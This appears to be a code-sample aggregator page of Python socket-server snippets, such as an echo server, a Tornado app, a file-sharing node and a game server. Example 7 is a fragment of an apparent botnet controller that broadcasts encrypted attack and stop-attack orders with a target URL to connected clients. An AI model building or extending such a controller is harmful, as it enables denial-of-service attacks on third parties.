Ejemplo n.º 1
0
def lesson_2():
    # !адрес сервера и порт
    SERVER_ADDRESS = ("", 56009)
    # !создаем сервер
    server = socket.socket()
    # !привязка сервера к адресу
    server.bind(SERVER_ADDRESS)
    # !определяем максимальное количество клиентов для одновременного пользования сервером
    server.listen(1)
    # !цикл ожидания подключения
    while True:
        # !информация полученая от клиента приоброзована к переменным
        a, b = server.accept()
        # !получение данных с полученной информации с указанием кол-ва байт информации
        from_user = a.recv(4096)
        print("Получено от пользователя:", from_user)
        # !обработка полученных данных
        if from_user.decode("utf-8") == "stop":
            print("Сервер остановлен")
            break
        # !проверка является ли строка от пользователя числом
        if from_user.decode("utf-8").isdigit():
            for_user = bytes(f"{int(from_user.decode('utf-8')) * 10}",
                             encoding="utf-8")
        else:
            for_user = bytes(f"{from_user.decode('utf-8')} не число",
                             encoding="utf-8")
        # !отправка ответа клиенту
        a.send(for_user)
        # !отключение клиента от сервера (рассоеденение)
        a.close()
Ejemplo n.º 2
0
def data_server_listen():
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind(('0.0.0.0', 1234))
    server.listen()

    while True:
        client_socket, address = server.accept()
        handle_data_socket(client_socket, address)
Ejemplo n.º 3
0
def run_tornado():
    app = Application([
        tornado.web.url(r"/xml2var", Xml2VarHandler),
        tornado.web.url(r"/anyxml2var", AnyXml2VarHandler),
        tornado.web.url(r"/var2xml", Var2XmlHandler),
        tornado.web.url(r"/xml2var_attribute_as_key", Xml2VarAttributeAsKeyHandler),
        tornado.web.url(r"/1/", Handler1),
        tornado.web.url(r"/2/", Handler2),
        tornado.web.url(r"/redirect/", RedirectHandler)
    ])
    server = HTTPServer(app)
    server.bind(8888)
    server.start(3)  # 0 - forks one process per cpu
    IOLoop.current().start()
Ejemplo n.º 4
0
def main():
    print("\n\n Port to connect on :5000 \n Port to send http request :7000")
    com_input_thread = threading.Thread(
        target=com_input, args=()
    )  #start a thread to handle input commands like peers, publish,unpublish etc
    com_input_thread.start()
    host = socket.gethostbyname(socket.gethostname())
    port = port_listen
    global ipAddr
    ipAddr = host
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind((host, port))
    serverthreading = threading.Thread(
        target=new_thread,
        args=(server, host, port))  #start a thread to handle new connections
    serverthreading.start()
    httpAddr = (host, port_browser)
    httpthread = threading.Thread(
        target=http_connect,
        args=(httpAddr, ))  #start a thread to handle http requests
    httpthread.start()
    fserverThread = threading.Thread(
        target=f_server())  #start a thread to handle the file server
    fserverThread.start()
Ejemplo n.º 5
0
import queue
import socketserver

# output queue sending from 127.0.0.1:8080
queue_out = queue.Queue()
queue_out_list = []
# input queue received towards 127.0.0.1:8080
queue_in = queue.Queue()

# Server address to listen for laptop
HOST = ''
PORT = 8080
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
HOST, PORT = "localhost", 8080

server.bind((HOST, PORT))
server.listen()


# Process to socket on 127.0.0.1 8080 for laptop connections
def process():
    global server
    global conn
    global queue_in
    global queue_out
    global queue_out_list

    inputs = [
        server,
    ]
    outputs = []
Ejemplo n.º 6
0
def start_tcp_server():
    # server.bind(('172.16.16.168', 50001)) #server ip
    server.bind(('127.0.0.1', 50001))  # test ip
    server.listen()
Ejemplo n.º 7
0
            print(url)
            type = type.replace(" ", "")
            print(type)
            for i in range(len(self.connected)):
                self.connected[i].send(self.keys[i].encrypt(
                    ("%$Att " + type + " " + url).encode()))
        except Exception as e:
            print(e)

    def stopattack(self):
        for i in range(len(self.connected)):
            self.connected[i].send(self.keys[i].encrypt(
                ("%$StopAtt").encode()))


open("IP.txt", 'w')
ip = "0.0.0.0"
port = 80

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(('0.0.0.0', 36983))
server.listen(1)

x = Server(ip, port, server)
th = threading.Thread(target=x.updateAlive)
th.start()

while True:
    client, ip = server.accept()
    threading.Thread(target=x.onConnect, args=[client, ip]).start()
Ejemplo n.º 8
0
import soundeffects
import gemstones
import effects
import monsters
import fireball
import dungeontiles
# import level
import clientserver
from clientserver import data_xy

# This ListenerThread creates a SocketThread per Internet Game Client.
# It listens on the public game Port for new Internet Game CLients.
# The created SocketThread exists only while the Internet Game Client
# needs to play the game, and is closed when the player leaves.
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(("", common.server_port))

hostname = socket.gethostname()
local_ip = socket.gethostbyname(hostname)


class WebManagerHandler(http.server.SimpleHTTPRequestHandler):
    def __init__(self, *args, **kwargs):
        super().__init__(*args, directory="web", **kwargs)


# Web management server code
# TODO:
#   httpd.server_close() when exiting???
# Number of gems, number of monsters
# Game reset